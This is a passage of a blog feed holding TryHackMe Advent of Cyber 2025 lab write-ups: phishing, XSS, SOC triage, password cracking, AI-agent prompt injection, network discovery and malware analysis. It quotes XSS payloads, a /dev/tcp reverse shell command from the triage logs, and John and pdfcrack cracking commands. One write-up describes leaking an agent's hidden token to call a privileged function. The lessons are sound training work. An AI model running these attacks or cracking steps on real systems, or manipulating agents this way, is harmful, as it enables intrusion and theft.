\u0026lsquo;urgent\u0026rsquo; Side channel communication attempt: Attempts to redirect communication to \u0026ldquo;personal email\u0026rdquo; CLASSIFICATION: Phishing \u0026ndash; Impersonation, Social Engineering Text, Sense of Urgency\nQuestion-4: Classify the 4th email. What\u0026rsquo;s the flag?\n\u0026lt;redacted-flag\u0026gt;\nHere we notice a domain mismatch in the body of the email.\nThe account that shares the document with us via Dropbox is hr.tbfc@outlook.com of the OUTLOOK.COM domain, instead of our company domain which is TBFC.COM.\nFigure 7: Fourth email displaying external domain mismatch in Dropbox sharing request\nIndicators: Domain Mismatch\nCLASSIFICATION: Phishing \u0026ndash; Impersonation, External Sender Domain, Social Engineering Text\nQuestion-5: Classify the 5th email. What\u0026rsquo;s the flag?\n\u0026lt;redacted-flag\u0026gt;\nIndicators\nAuthentication Results headers pass Return-Path header matches with sender No attachment and no links CLASSIFICATION: Spam\nQuestion-6: Classify the 6th email. What\u0026rsquo;s the flag?\n\u0026lt;redacted-flag\u0026gt;\nHere we notice a Punycode attempt with the ASCII letter \u0026ldquo;f\u0026rdquo;.\nFigure 8: Sixth email displaying Punycode character substitution in sender address\nFor the real \u0026ndash; correct ASCII encoded sender address \u0026ndash; we check the Return-Path header which identifies it as tbfc-it@xn--tbc-n5a.com instead of tbfc-it@tbfc.com.\nFigure 9: Sixth email Return-Path header showing true Punycode domain\nIndicators\nPunycode in sender email address ƒ instead of ASCII f Return-Path Header: tbfc-it@xn--tbc-n5a.com instead of tbfc-it@tbfc.com CLASSIFICATION: Phishing \u0026ndash; Impersonation, Typosquatting/Punycode, Social Engineering Text\nQuestion-7: If you enjoyed today\u0026rsquo;s room, you can explore the Phishing Analysis Tools room in detail!\nNo answer needed\n","permalink":"https://onebee.blog/blog/thm/aoc25/day-12/","summary":"TryHackMe | Advent of Cyber 2025 | Day 12: Phishing - Phishmas Greetings","title":"AOC25 | Day-12"},{"content":"CHALLENGE INFORMATION\nPlatform: TryHackMe\nEvent: Advent of Cyber 2025\nDay: 11\nTitle: XSS - Merry XSSMas Description\nLearn about types of XSS vulnerabilities and how to prevent them.\nSummary\nHere, we first exploit a reflected XSS vulnerability, then a stored XSS one.\nStoryline\nSanta\u0026rsquo;s workshop was modernized with a secure message portal for McSkidy, but logs show unusual activity: odd messages, suspicious search terms, and code disguised as letters. The mission is to investigate and identify who\u0026rsquo;s causing the mischief.\nLeave the Cookies, Take the Payload Cross-Site Scripting (XSS) is a web vulnerability where attackers inject malicious code (typically JavaScript) into input fields that other users view.\nIt occurs when applications fail to properly validate or escape user input, allowing it to be executed as code rather than treated as text.\nTypes of XSS Reflected XSS\nReflected XSS occurs when malicious code is immediately returned in the response and executed in the victim\u0026rsquo;s browser. It typically targets individual users through phishing links and does not persist on the server.\nExample:\n\u0026lt;!-- original request --\u0026gt; https://trygiftme.thm/search?term=gift \u0026lt;!-- request with reflected xss --\u0026gt; https://trygiftme.thm/search?term=\u0026lt;script\u0026gt;alert( atob(\u0026#34;VEhNe0V2aWxfQnVubnl9\u0026#34;) )\u0026lt;/script\u0026gt; Stored XSS\nStored XSS is more dangerous \u0026ndash; malicious scripts are saved on the server and automatically executed for every user who views the affected page. This attack affects all visitors without requiring them to click a link.\nPotential Impact: Both types allow attackers to steal credentials, deface pages, impersonate users, steal session cookies, trigger fake login popups, and access information the victim could access.\nCheat Sheet from PortSwigger: Cross-site scripting (XSS) cheat sheet\nProtection Strategies Disable dangerous rendering: Use textContent instead of innerHTML to treat input as plain text rather than executable code.\nSecure cookies: Set HttpOnly, Secure, and SameSite attributes on session cookies to limit XSS damage.\nSanitize and encode input/output: Remove or escape executable elements (scripts, event handlers, JavaScript URLs) while preserving safe formatting, especially when limited HTML input is necessary.\nQuestions and Answers Question-1: Which type of XSS attack requires payloads to be persisted on the backend?\nstored\nQuestion-2: What\u0026rsquo;s the reflected XSS flag?\n\u0026lt;redacted-flag\u0026gt;\nWe first visit the target web application.\nTo validate our findings, we craft a sample JavaScript alert to verify the Reflected XSS vulnerability via the provided search bar, then click Search Messages.\nFor the payload, we use the cat example:\n\u0026lt;script\u0026gt;alert(\u0026#39;Reflected Meow Meow\u0026#39;)\u0026lt;/script\u0026gt; Once the request is sent, a popup appears, verifying the presence of a Reflected XSS vulnerability.\nFigure 1: JavaScript alert popup confirming reflected XSS vulnerability\nSuccessfully triggering the Reflected XSS vulnerability provides the necessary flag.\nFigure 2: Reflected XSS flag displayed after successful payload execution\nQuestion-3: What\u0026rsquo;s the stored XSS flag?\n\u0026lt;redacted-flag\u0026gt;\nThis time, our goal is to verify whether a stored XSS vulnerability exists via the web application\u0026rsquo;s send message function, which stores messages on the server.\nAs before, we use the cat payload:\n\u0026lt;script\u0026gt;alert(\u0026#39;Stored Meow Meow\u0026#39;)\u0026lt;/script\u0026gt; Once the message is sent, the intended popup appears, verifying that the web application is indeed susceptible to stored XSS.\nFigure 3: JavaScript alert popup confirming stored XSS vulnerability\nFinally, once the Stored XSS vulnerability is triggered, the flag appears under Recent Messages.\nFigure 4: Stored XSS flag displayed in Recent Messages section\nQuestion-4: If you enjoyed today\u0026rsquo;s room, you might want to have a look at the Intro to Cross-site Scripting room!\nNo answer needed\n","permalink":"https://onebee.blog/blog/thm/aoc25/day-11/","summary":"TryHackMe | Advent of Cyber 2025 | Day 11: XSS - Merry XSSMas","title":"AOC25 | Day-11"},{"content":"CHALLENGE INFORMATION\nPlatform: TryHackMe\nEvent: Advent of Cyber 2025\nDay: 10\nTitle: SOC Alert Triaging - Tinsel Triage Description\nInvestigate and triage alerts through Microsoft Sentinel.\nSummary\nWe begin Day 10 with a primer on alert triaging, followed by an introduction to our Microsoft Sentinel instance. We then examine and analyze various incidents before conducting a deep dive into log analysis, where we correlate events to understand what transpired.\nStoryline\nThe Best Festival Company\u0026rsquo;s Security Operations Center is overwhelmed by a surge of alerts across their cloud environment. The elves suspect the evil Easter Bunnies are behind the attack, but the source and motive remain unclear.\nPreparation\nUse one of the provided access credentials (username:temporary-access-pass) to log in to the Microsoft Azure Portal where the remaining tasks take place.\nSadly, none of them worked for us, so we will make an exception here (against THM Write-Up Policy), and provide both passwords and flags for the solutions so that people interested in completing AoC 2025 can do so.\nAlert Triaging Primer Alert triaging is a critical process that helps security teams prioritize alerts efficiently rather than investigating each one equally.\nNot all alerts indicate genuine threats; some are noise or false positives, so teams need a structured approach to determine which deserve immediate attention.\nThe Four Key Factors for Triaging When assessing alerts, analysts should evaluate four factors: severity, time, context, and impact.\nSeverity\nSeverity Level Rating from Informational to Critical Indicates urgency and potential business risk Time\nTimestamp and Frequency When the alert triggered and related activity patterns Identifies ongoing attacks or repeated behavior Context\nAttack Stage Where in the attack lifecycle (reconnaissance, persistence, exfiltration) Shows how far the attacker has progressed Impact\nAffected Asset Which system, user, or resource is involved Prioritizes response based on operational importance These four dimensions \u0026ndash; how bad, when, where in the attack lifecycle, and who or what is affected \u0026ndash; provide a balanced foundation for quick, informed triage decisions.\nNext Steps After Triage Once we have identified alerts worth investigating, we follow a structured investigation process:\nExamine the alert details; Check related logs; Correlate with other alerts involving the same user or device; Build a timeline of events; Decide whether to escalate to incident response, investigate further, or close as a false positive; Document findings and lessons learned. Environment Review To render the logs for the lab environment, follow these steps:\nSearch for \u0026lsquo;Microsoft Sentinel\u0026rsquo; \u0026gt; Logs tab \u0026gt; Custom Logs \u0026gt; Syslog_CL (runs a preview query) \u0026gt; Run. Investigation Proper To view the incidents during the current timeframe:\nSelect your dedicated Sentinel instance \u0026gt; Threat Management dropdown \u0026gt; Incidents tab If not shown \u0026gt; refresh page \u0026gt; Set custom date range for the incidents (2025-10-29 12:00:00 to 2025-12-13 12:00:00) Questions and Answers Question-1: How many entities are affected by the Linux PrivEsc - Polkit Exploit Attempt alert?\n10\nQuestion-2: What is the severity of the Linux PrivEsc - Sudo Shadow Access alert?\nHigh\nQuestion-3: How many accounts were added to the sudoers group in the Linux PrivEsc - User Added to Sudo Group alert?\n4\nDiving Deeper Into Logs To obtain more information:\nSelect Alert\u0026rsquo;s full details view \u0026gt; Evidence section \u0026gt; Events \u0026gt; Logs. To change the view to an editable KQL query:\nPress the Simple mode dropdown \u0026gt; Select KQL mode. Events Triggered by app-02 set query_now = datetime(2025-10-30T05:09:25.9886229Z); Syslog_CL | where host_s == \u0026#39;app-02\u0026#39; | project _timestamp_t, host_s, Message Questions and Answers Question-1: What is the name of the kernel module installed in websrv-01?\nmalicious_mod.ko\nQuestion-2: What is the unusual command executed within websrv-01 by the ops user?\n/bin/bash -i \u0026gt;\u0026amp; /dev/tcp/198.51.100.22/4444 0\u0026gt;\u0026amp;1\nQuestion-3: What is the source IP address of the first successful SSH login to storage-01?\n172.16.0.12\nQuestion-4: What is the external source IP that successfully logged in as root to app-01?\n203.0.113.45\nQuestion-5: Aside from the backup user, what is the name of the user added to the sudoers group inside app-01?\ndeploy\n","permalink":"https://onebee.blog/blog/thm/aoc25/day-10/","summary":"TryHackMe | Advent of Cyber 2025 | Day 10: SOC Alert Triaging - Tinsel Triage","title":"AOC25 | Day-10"},{"content":"CHALLENGE INFORMATION\nPlatform: TryHackMe\nEvent: Advent of Cyber 2025\nDay: 09\nTitle: Passwords - A Cracking Christmas\nBonus: Side Quest 2 Key Challenge Description\nLearn how to crack password-based encrypted files.\nSummary\nIn the first part we crack two encrypted files using dictionary attacks with the rockyou wordlist: an encrypted PDF using John directly, and an encrypted ZIP but only after the necessary hash is generated.\nFor the bonus challenge, we discover an encrypted KeePass Password database, crack its password by first generating the necessary hash with keepass2john and then with John. Inside the database we find a hidden image file which contains the side quest 2 challenge key.\nStoryline\nSir Carrotbane discovers encrypted files (North Pole Asset List) on The Best Festival Company\u0026rsquo;s servers that may contain Santa\u0026rsquo;s master gift registry. If cracked, Malhare could control the festive balance between worlds. The conflict hinges on whether the Elves can stop the encryption from being breached before their secrets are exposed\nTakeaway\nPassword strength is the primary determinant of encryption security. Weak passwords can be guessed; strong, random ones are far harder to crack.\nSecurity also depends on the algorithm and key derivation method \u0026ndash; different formats (PDF, ZIP) use different approaches, affecting vulnerability. Legacy encryption methods remain weak, particularly older ZIP encryption, making these files easier to crack than modern schemes.\nEncryption protects confidentiality only and cannot prevent offline password guessing once an attacker has the encrypted file. Ultimately, security hinges on password complexity rather than the encryption technology itself.\nAttacks Against Encrypted Files Theory Attackers recover weak passwords by guessing them rather than breaking encryption. The two primary methods are dictionary attacks and mask attacks.\nDictionary attacks test passwords from predefined wordlists containing leaked credentials, common substitutions (like \u0026lsquo;password123\u0026rsquo;), and predictable patterns. This approach is fast and effective because many users choose weak passwords.\nMask attacks are a refined version of brute-force attacks that systematically try character combinations within a specific format (for example, three lowercase letters followed by two digits). This narrows the search space, making the attack faster than trying all possible combinations while remaining more thorough than dictionary attacks alone.\nBoth techniques exploit human password habits rather than defeating cryptography itself.\nAttack Tips Simple dictionary attack with wordlists: rockyou.txt and common-passwords.txt Targeted wordlists: compile company names, project names, and data from the internet Mask or incremental attacks on short passwords (for example, ?l?l?l?d?d equals three lowercase letters plus two digits) Use GPU-accelerated cracking Maintain OPSEC: intensive resource use can be detected and monitored Tools PDF: pdfcrack, john with the pdf2john module ZIP: fcrackzip, john with the zip2john module Defense Tips Monitor for the following indicators of password cracking activity: process creation, command patterns, potfiles, GPU artifacts, network activity, and file access.\nCracking binaries: john, hashcat, fcrackzip, pdfcrack, zip2john, pdf2john.pl, 7z, qpdf, unzip, 7za\nCommand patterns: -w, --wordlist, --rules, --mask, -a 3, -m and references to rockyou.txt or SecLists\nPotfiles: ~/.john/john.pot, .hashcat/hashcat.potfile, john.rec\nGPU Artifacts: High sustained GPU utilization, long-running HashCat/John processes in nvidia-smi, and loaded GPU libraries (nvcuda.dll, OpenCL.dll, libcuda.so, amdocl64.dll).\nNetwork Activity: Downloads of wordlist files, Git clones of wordlist repos, package installs (apt install john), GPU driver fetches.\nFile Access: Unusual repeated reads of encrypted or wordlist files.\nProcess Creation Capture:\nWindows: Sysmon Event ID 1. ProcessName=\u0026#34;C:\\Program Files\\john\\john.exe\u0026#34; : OR ProcessName=\u0026#34;C:\\Tools\\hashcat\\hashcat.exe\u0026#34; : OR CommandLine=\u0026#34;*pdf2john.pl*\u0026#34; : OR CommandLine=\u0026#34;*zip2john*\u0026#34; Linux: With auditd and execve. auditctl -w /usr/share/wordlists/rockyou.txt -p r -k wordlists_read auditctl -a always,exit -F arch=b64 -S execve -F exe=/usr/bin/john -k crack_exec auditctl -a always,exit -F arch=b64 -S execve -F exe=/usr/bin/hashcat -k crack_exec Response Playbook 1. Isolate\nRemove the affected computer from the network.\n2. Collect Evidence\nGather system files \u0026ndash; triage artifacts like process lists, process memory dumps, and open files \u0026ndash; and encrypted files for investigation. Also, back up the working directory, wordlists, hash files, and shell history.\n3. Investigate\nCheck what was accessed, if data was stolen, and whether the activity was authorized.\n4. Respond\nIf unauthorized, alert the incident response team, change passwords, and enable multi-factor authentication.\n5. Improve\nTrain staff and ensure tools are properly secured to prevent future incidents.\nQuestions and Answers Question-1: What is the flag inside the encrypted PDF?\n\u0026lt;redacted-flag\u0026gt;\nLet us first confirm the file types and then decide on the appropriate cracking software.\nubuntu@tryhackme:~$ ls -hla ... -rw-r--r-- 1 ubuntu ubuntu 42K ... flag.pdf -rw-r--r-- 1 ubuntu ubuntu 245 ... 11:46 flag.zip drwxrwxr-x 10 ubuntu ubuntu 4.0K ... 15:25 john ... ubuntu@tryhackme:~$ file flag* flag.pdf: PDF document, version 1.7, 1 page(s) flag.zip: Zip archive data, at least v2.0 to extract, compression method=AES Encrypted ubuntu@tryhackme:~$ We have two target files here: flag.pdf and flag.zip.\nWe begin with the encrypted PDF file. If we try to open and view the file with atril flag.pdf, we are prompted for a password.\nFigure 1: Password prompt when opening the encrypted PDF\nGiven that it is truly encrypted, we attempt to crack it using a dictionary attack with the rockyou.txt wordlist.\n# -f: filename; -w: wordlist ubuntu@tryhackme:~$ pdfcrack -f flag.pdf -w /usr/share/wordlists/rockyou.txt PDF version 1.7 Security Handler: Standard V: 2 R: 3 P: -1060 Length: 128 Encrypted Metadata: True ... found user-password: \u0026lt;redacted-password\u0026gt; ubuntu@tryhackme:~$ We use the recovered password to open the PDF file with atril flag.pdf. This reveals the flag for the first question.\nFigure 2: Flag revealed in the decrypted PDF document\nQuestion-2: What is the flag inside the encrypted zip file?\n\u0026lt;redacted-flag\u0026gt;\nBefore proceeding, we verify the target archive.\nFigure 3: Contents of the encrypted ZIP archive\nIt contains a flag.txt file, and the archive is truly encrypted, prompting for a password.\nFor the archive, we first create a hash file \u0026ndash; ziphash.txt \u0026ndash; with zip2john that we can use with John to crack.\nubuntu@tryhackme:~$ zip2john flag.zip \u003e ziphash.txt We use the same attack type \u0026ndash; dictionary attack \u0026ndash; with the same wordlist on the hash.\nubuntu@tryhackme:~$ john --wordlist=/usr/share/wordlists/rockyou.txt ziphash.txt ... \u0026lt;redacted-password\u0026gt; (flag.zip/flag.txt) 1g 0:00:00:00 DONE (...) 1.818g/s 7447p/s 7447c/s 7447C/s \u0026lt;redacted-password\u0026gt; ... ubuntu@tryhackme:~$ The password is recovered quickly; we verify the results.\nubuntu@tryhackme:~$ john ziphash.txt --show flag.zip/flag.txt:\u0026lt;redacted-password\u0026gt; :flag.txt:flag.zip:flag.zip ... ubuntu@tryhackme:~$ We open the encrypted archive, decrypt it with the cracked password, and view the flag.\nFigure 4: Flag revealed in the decrypted ZIP archive\nSide Quest 2 Key Challenge Bonus-Question-1: For those who want another challenge, have a look around the VM to get access to the key for Side Quest 2! Accessible through our Side Quest Hub!\nNo answer needed\nWe examine the current environment to identify any unusual files.\nubuntu@tryhackme:~$ ls -hla ... -rw------- 1 ubuntu ubuntu 410K ... .Passwords.kdbx ubuntu@tryhackme:~$ We identify a potential candidate: a KeePass password database named .Passwords.kdbx. We gather more details:\nubuntu@tryhackme:~$ file .Passwords.kdbx .Passwords.kdbx: Keepass password database 2.x KDBX ubuntu@tryhackme:~$ To crack it, just as we did with the archive file, we first create a hash file \u0026ndash; database.hash \u0026ndash; using the keepass2john module from John.\nubuntu@tryhackme:~$ /snap/john-the-ripper/694/bin/keepass2john .Passwords.kdbx \u003e database.hash Now we attempt to crack it using rockyou.txt as the wordlist and KeePass as the format.\nubuntu@tryhackme:~$ john -w /usr/share/wordlists/rockyou.txt --format=KeePass database.hash ... Loaded 1 password hash (KeePass [AES/Argon2 256/256 AVX2]) ... \u0026lt;redacted-password\u0026gt; (.Passwords) 1g 0:00:13:53 DONE ([]) 0.001199g/s 2.578p/s 2.578c/s 2.578C/s \u0026lt;redacted-password\u0026gt; ... Session completed ubuntu@tryhackme:~$ Although the process takes approximately fifteen minutes, we successfully recover the password. We retrieve it:\nubuntu@tryhackme:~$ john database.hash --show .Passwords:\u0026lt;redacted-password\u0026gt; ... ubuntu@tryhackme:~$ and use it to access the KeePass password database with keepassxc .Passwords.kdbx.\nFigure 5: Unlocking the KeePass database with the cracked password\nOnce the password database is decrypted, only one entry named Key is present inside the database group Root.\nThe entry appears empty, with no username or password credentials. However, upon checking the Advanced tab, we find an attached image file named sq2.png.\nFigure 6: Attached image file in the Advanced tab\nOpening the attached image \u0026ndash; sq2.png \u0026ndash; reveals the hidden key necessary for the Side Quest 2 challenge.\nBonus-Question-2: If you enjoyed this task, feel free to check out the Password Attacks room.\nNo answer needed\n","permalink":"https://onebee.blog/blog/thm/aoc25/day-09/","summary":"TryHackMe | Advent of Cyber 2025 | Day 09: Passwords - A Cracking Christmas + Side Quest 2 Key Challenge","title":"AOC25 | Day-09 + SQK-2"},{"content":"CHALLENGE INFORMATION\nPlatform: TryHackMe\nEvent: Advent of Cyber 2025\nDay: 08\nTitle: Prompt Injection - Sched-yule conflict Description\nLearn to identify and exploit weaknesses in autonomous AI agents.\nSummary\nThis writeup explains the theory behind autonomous AI agents, then demonstrates exploitation of a calendar-management AI by extracting a hidden token via a log-reading function and using it to invoke a privileged reset_holiday function, thereby restoring the correct Christmas setting.\nStoryline\nSir BreachBlocker III corrupted Wareville\u0026rsquo;s Christmas Calendar AI, causing it to display Easter instead of Christmas. The AI is locked with developer tokens, and the only solution is to exploit it and reset the calendar to its original Christmas state.\nAgentic AI Hack Theory Agentic AI extends large language models (LLMs) beyond static text generation, giving them the ability to plan, act, and adapt with minimal supervision.\nWhile LLMs excel at predicting words, storing knowledge, and following instructions, they are limited to their training data, can hallucinate facts, and are vulnerable to prompt injection, jailbreaking, and data poisoning.\nChain-of-thought (CoT) prompting improves LLM reasoning by having the model produce explicit intermediate steps, but it still lacks external grounding, leading to outdated or incorrect answers.\nReAct (Reason + Act) combines reasoning with tool use: the model alternates between verbal thought traces and concrete actions (e.g., web searches, API calls), allowing dynamic planning, real-time knowledge retrieval, and reduced hallucination.\nModern LLMs support function calling, where developers register tools via JSON schemas. The model can invoke these tools (e.g., a web-search function) when needed, receive results, and incorporate them into its final response.\nWithout robust validation, such autonomous agents can be targeted by attackers who interfere with their processes, creating new security risks.\nExploitation We attempt to manipulate a calendar-management AI agent that incorrectly sets December 25 to Easter.\nBy examining the agent\u0026rsquo;s Thinking (chain-of-thought) log, we discover three exposed functions: reset_holiday, booking_a_calendar, and get_logs.\nAlthough reset_holiday initially rejects the request due to a missing token, we use get_logs to extract the hidden token \u0026ndash; TOKEN_SOCMAS.\nWith this token, we successfully invoke reset_holiday, restoring the calendar\u0026rsquo;s Christmas date.\nThis highlights how the agent\u0026rsquo;s reasoning logs can leak internal function details and authentication tokens.\nQuestions and Answers Question-1: What is the flag provided when SOC-mas is restored in the calendar?\nTHM{\u0026lt;redacted-flag\u0026gt;}\nQuestion-2: If you enjoyed today\u0026rsquo;s room, feel free to check out the Defending Adverserial Attacks room, where you will learn how to harden and secure AI models.\nNo answer needed\n","permalink":"https://onebee.blog/blog/thm/aoc25/day-08/","summary":"TryHackMe | Advent of Cyber 2025 | Day 08: Prompt Injection - Sched-yule conflict","title":"AOC25 | Day-08"},{"content":"CHALLENGE INFORMATION\nPlatform: TryHackMe\nEvent: Advent of Cyber 2025\nDay: 07\nTitle: Network Discovery - Scan-ta Clause Description\nDiscover how to scan network ports and uncover what is hidden behind them.\nSummary\nHere we demonstrate progressive port scanning (Nmap), service enumeration (FTP, custom TCP service, DNS), file retrieval, and post‑exploitation steps (accessing an admin console, enumerating listening ports, and extracting flags from a local MySQL database).\nStoryline\nHopSec breached the QA server (tbfc‑devqa01), locking out access and halting the TBFC projects and SOC‑mas pipeline. The compromised server is gradually turning into a twisted EAST‑mas node. The task is to trace HopSec\u0026rsquo;s activity, regain entry to the server, and restore it before the bunny takeover completes.\nDiscover Network Services We begin with the simplest approach: a default port scan of the most common one thousand TCP ports.\nuser@kali:~$ nmap 10.82.130.66 ... PORT STATE SERVICE 22/tcp open ssh 80/tcp open http ... user@kali:~$ Only two ports are reported open: port 22 and port 80. Examining the web portal on port 80 provides the answer to the first question.\nFigure 1: Compromised TBFC web portal displaying the HopSec defacement message\nWe continue by scanning the entire TCP port range \u0026ndash; that is, all sixty-five thousand five hundred thirty-five ports \u0026ndash; using the --script=banner option to perform banner grabbing. This script connects to open services and returns their identification text.\nuser@kali:~$ nmap -p- --script=banner 10.82.130.66 ... PORT STATE SERVICE 22/tcp open ssh |_banner: SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.14 80/tcp open http 21212/tcp open trinket-agent |_banner: 220 (vsFTPd 3.0.5) 25251/tcp open unknown |_banner: TBFC maintd v0.2\\x0AType HELP for commands. ... user@kali:~$ Several additional open ports are discovered. We attempt to access the FTP service on port 21212 using anonymous authentication.\nuser@kali:~$ ftp 10.82.130.66 21212 Connected to 10.82.130.66. 220 (vsFTPd 3.0.5) Name (10.82.130.66:user): anonymous 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp\u003e ls 229 Entering Extended Passive Mode (|||15846|) ^C receive aborted. Waiting for remote to finish abort. The connection succeeds, but the client enters Extended Passive Mode. We disable passive mode by typing passive to switch to active mode.\nOnce in active mode, we examine the current directory.\nftp\u003e passive Passive mode: off; fallback to active mode: off. ftp\u003e ls 200 EPRT command successful. Consider using EPSV. 150 Here comes the directory listing. -rw-r--r-- 1 ftp ftp ... tbfc_qa_key1 226 Directory send OK. ftp\u003e A file named tbfc_qa_key1 is present in the directory. We retrieve it using the get command and then exit the FTP session.\nftp\u003e get tbfc_qa_key1 ... 226 Transfer complete. ... ftp\u003e exit 221 Goodbye. user@kali:~$ Examining the file reveals the first key for the challenge.\nuser@kali:~$ ll ... -rw-rw-r-- 1 user user ... tbfc_qa_key1 ... user@kali:~$ cat tbfc_qa_key1 KEY1:3aster_ user@kali:~$ Next, we identify the service running on port 25251 using Netcat.\nUpon establishing a connection, we are greeted with the service version TBFC maintd v0.2 and a message indicating how to use the custom service.\nuser@kali:~$ nc -v 10.82.130.66 25251 10.82.130.66: inverse host lookup failed: Unknown host (UNKNOWN) [10.82.130.66] 25251 (?) open TBFC maintd v0.2 Type HELP for commands. Using the custom HELP command, we obtain a list of available commands. Running them one by one yields the second flag when we execute the GET KEY command.\nHELP Commands: HELP, STATUS, GET KEY, QUIT STATUS status: armed_for=43s, port=25251 GET KEY KEY2:15_th3_ QUIT bye user@kali:~$ With the second key in hand, we proceed to scan UDP ports, checking the most common one thousand UDP ports.\nuser@kali:~$ nmap -sU 10.82.130.66 ... PORT STATE SERVICE 53/udp open domain ... user@kali:~$ Given the DNS service we discovered, we query it for the third key.\nuser@kali:~$ dig @10.82.130.66 TXT key3.tbfc.local ... ;; QUESTION SECTION: ;key3.tbfc.local. IN TXT ;; ANSWER SECTION: key3.tbfc.local. 0 IN TXT \"KEY3:n3w_xm45\" ... user@kali:~$ With all three keys collected, we log in to the server\u0026rsquo;s admin panel. Click Unlock,\nFigure 2: TBFC admin portal login page with Unlock button\nand access the secret admin console by submitting the combined keys \u0026ndash; 3aster_15_th3_n3w_xm45 \u0026ndash; then click Go to Terminal.\nWe are presented with the Secret Admin Console.\nFigure 3: Secret admin console terminal interface\nAfter gaining console access, we list open listening ports directly from the web application\u0026rsquo;s Secret Admin Console using ss -tunlp (or netstat on older systems).\nThe output shows services listening on all interfaces (0.0.0.0) and some bound only to localhost (127.0.0.1).\nIn addition to the previously discovered open TCP ports \u0026ndash; ports 22, 80, 21212, and port 25251 \u0026ndash; we discover several previously hidden TCP ports: 53, 8000, 3306, and 7681.\nSome of these \u0026ndash; ports 8000, 3306, and 7681 \u0026ndash; are available only to the host itself and are not exposed externally.\nFigure 4: Output of SS command showing listening network ports\nWith root privileges, we could view the associated processes; however, our focus is port 3306, the default MySQL port.\nMySQL typically requires a password for remote connections but permits unauthenticated logins from localhost, allowing us to inspect database contents using the MySQL client while already on the host.\nWe attempt to access the database without credentials.\nFirst, we check the tables using mysql -D tbfcqa01 -e \u0026quot;show tables;\u0026quot; and then retrieve the flag using mysql -D tbfcqa01 -e \u0026quot;select * from flags;\u0026quot;.\nFigure 5: MySQL database query results showing the retrieved flag\nQuestions and Answers Question-1: What evil message do you see on top of the website?\nPwned by HopSec\nQuestion-2: What is the first key part found on the FTP server?\n3aster_\nQuestion-3: What is the second key part found in the TBFC app?\n15_th3_\nQuestion-4: What is the third key part found in the DNS records?\nn3w_xm45\nQuestion-5: Which port was the MySQL database running on?\n3306\nQuestion-6: Finally, what\u0026rsquo;s the flag you found in the database?\nTHM{\u0026lt;redacted-flag\u0026gt;}\nQuestion-7: If you enjoyed today\u0026rsquo;s room, feel free to check out the Nmap: The Basics room.\nNo answer needed\n","permalink":"https://onebee.blog/blog/thm/aoc25/day-07/","summary":"TryHackMe | Advent of Cyber 2025 | Day 07: Network Discovery - Scan-ta Clause","title":"AOC25 | Day-07"},{"content":"CHALLENGE INFORMATION\nPlatform: TryHackMe\nEvent: Advent of Cyber 2025\nDay: 06\nTitle: Malware Analysis - Egg-xecutable\nBonus: Bonus Task Description\nDiscover some common tooling for malware analysis within a sandbox environment.\nSummary\nHere we show how to examine a suspicious Windows executable using static tools (PeStudio) and dynamic sandbox techniques (RegShot, ProcMon) to extract hashes, strings, registry changes, and C2 information.\nStoryline\nAt night, TBFC\u0026rsquo;s SOC receives a 3 AM email from Elf McClause with HopHelper.exe, claiming a new rota program. Elf McBlue flags it as suspicious and initiates a malware investigation. The session covers malware analysis basics, sandboxes, static vs. dynamic analysis, and tools like PeStudio, ProcMon, and Regshot.\nTheory Malware analysis examines malicious files to reveal their behavior and devise defenses \u0026ndash; for example, blocking attacker C2 servers or detecting artifacts left on hosts. The discipline splits into two categories: static analysis (inspecting without execution) and dynamic analysis (running the sample).\nSandboxes provide isolated, disposable environments \u0026ndash; typically virtual machines with snapshot capability \u0026ndash; where samples can be executed safely. We adhere to the core rule that dangerous code must never run on production systems.\nStatic Analysis: PeStudio Static analysis extracts metadata from a malware sample without execution.\nKey data points include:\nChecksums: Unique hashes for cataloguing and searching (for example, a93f7e8c4d21b19f2e12f09a5c33e48a). Strings: Readable text such as IPs, URLs, commands, or passwords (for example, 138.62.51.186). Imports: DLL functions the binary relies on, revealing OS interactions (for example, CreateFileW). Resources: Embedded assets such as icons that can be used for deception or to hide malicious code. While static clues help form hypotheses, obfuscation can mask true behavior; execution through dynamic analysis is ultimately required for confirmation.\nDynamic Analysis: RegShot and ProcMon Dynamic analysis runs a malware sample in a controlled environment to observe its runtime behavior and interactions with the operating system.\nRegShot\nThis tool creates two snapshots of the registry \u0026ndash; one before the malware runs and another afterward \u0026ndash; then compares them to identify changes.\nProcMon\nThis utility monitors and investigates how processes interact with the Windows operating system.\nQuestions and Answers Question-1: Static analysis: What is the SHA256Sum of the HopHelper.exe?\nF29C270068F865EF4A747E2683BFA07667BF64E768B38FBB9A2750A3D879CA33\nLaunch PeStudio \u0026gt; Load the executable \u0026ndash; Desktop\\hophelper\\HopHelper.exe \u0026ndash; into PeStudio \u0026gt; Click on the indicators tab in the dropdown \u0026gt; Look for the SHA256SUM.\nFigure 1: PeStudio indicators tab displaying the SHA256 hash of HopHelper.exe\nQuestion-2: Static analysis: Within the strings of HopHelper.exe, a flag with the format THM{XXXXX} exists. What is that flag value? Note, this can be found towards the bottom of the strings output.\nTHM{\u0026lt;redacted-flag\u0026gt;}\nWithin PeStudio, loaded with the HopHelper binary, check on the strings tab in the dropdown and search for the \u0026lsquo;THM{\u0026hellip;}\u0026rsquo; string value.\nFigure 2: PeStudio strings tab revealing the hidden flag\nQuestion-3: Dynamic analysis: What registry value has the HopHelper.exe modified for persistence? Note: Provide the full path of the key that has been modified\nHKU\\S-1-5-21-1966530601-3185510712-10604624-1008\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\HopHelper\nCreate a registry capture with Regshot, launch the malicious binary \u0026ndash; HopHelper.exe \u0026ndash; then create a second registry capture.\nCheck the differences between the two captures with Regshot\u0026rsquo;s Compare function to identify the modified registry values.\nFigure 3: RegShot comparison showing modified registry keys for persistence\nQuestion-4: If you enjoyed today\u0026rsquo;s room, feel free to explore both the Basic Static Analysis and Basic Dynamic Analysis rooms, where you can delve deeper into the techniques and tools discussed today.\nNo answer needed\nBonus Task Bonus-Question: Can you find the web panel that HopHelper.exe is communicating with?\nhttp://breachblocker-sandbox\nOpen ProcMon, start capturing events (default setting), execute the malicious binary, and stop capturing events.\nUse the Filter function to narrow the search: first filter for the HopHelper.exe process name, then filter for Operations containing the word \u0026lsquo;TCP\u0026rsquo;. Only four such events appear. Examine the Path field to locate the C2 panel.\nFigure 4: ProcMon filtered results showing TCP operations and the C2 domain\nOnce we identify the C2 panel, we can examine it with a web browser.\nFigure 5: Command and control web panel interface\n","permalink":"https://onebee.blog/blog/thm/aoc25/day-06/","summary":"TryHackMe | Advent of Cyber 2025 | Day 06: Malware Analysis - Egg-xecutable + Bonus","title":"AOC25 | 